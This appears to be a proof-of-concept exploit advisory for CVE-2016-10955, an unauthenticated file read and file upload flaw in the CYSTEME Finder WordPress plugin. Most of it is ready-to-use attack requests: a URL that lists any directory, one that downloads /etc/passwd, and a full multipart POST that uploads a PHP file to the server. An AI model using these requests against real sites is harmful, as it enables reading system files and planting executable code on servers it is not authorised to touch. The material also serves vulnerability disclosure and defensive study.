CYSTEME Finder <= 1.3 – Unauthenticated LFI and Unauthenticated File Upload | CVE 2016-10955

Description

CYSTEME does not properly check SESSION Cookies allowing a remote attacker to upload, view, or delete files from any location on the remote file system.

Proof of Concept

- Retrieve all data in the root wordpress directory. This will return JSON. 

Exploit:

http://example.com/wp-content/plugins/cysteme-finder/php/connector.php?wphome=/var/www/wordpress&cmd=open&init=1&tree=1

Simply replacing wphome with any other directory path will return file information for that directory. 
If you want to download that file, get the hash value for the file and include it in the following request:
 
Will download /etc/passwd
http://example.com/wp-content/plugins/cysteme-finder/php/connector.php?wphome=/etc&cmd=file&target=l1_cGFzc3dk&download=1

### File Upload

As with downloading the files, you will need the hash value for the target directory. With the hash value, send a payload similar to the following. 

POST /wordpress/wp-content/plugins/cysteme-finder/php/connector.php?wphome=/var/www/wordpress/&wpurl=http://example.com HTTP/1.1
Host: http://example.com
Content-Length: 314
Origin: http://example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36
Content-Type: multipart/form-data; boundary=--------723608748
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
Connection: close

----------723608748
Content-Disposition: form-data; name="cmd"

upload
----------723608748
Content-Disposition: form-data; name="target"

l1_Lw
----------723608748
Content-Disposition: form-data; name="upload[]"; filename="test.php"
Content-Type: text/html

<?php phpinfo(); ?>
----------723608748--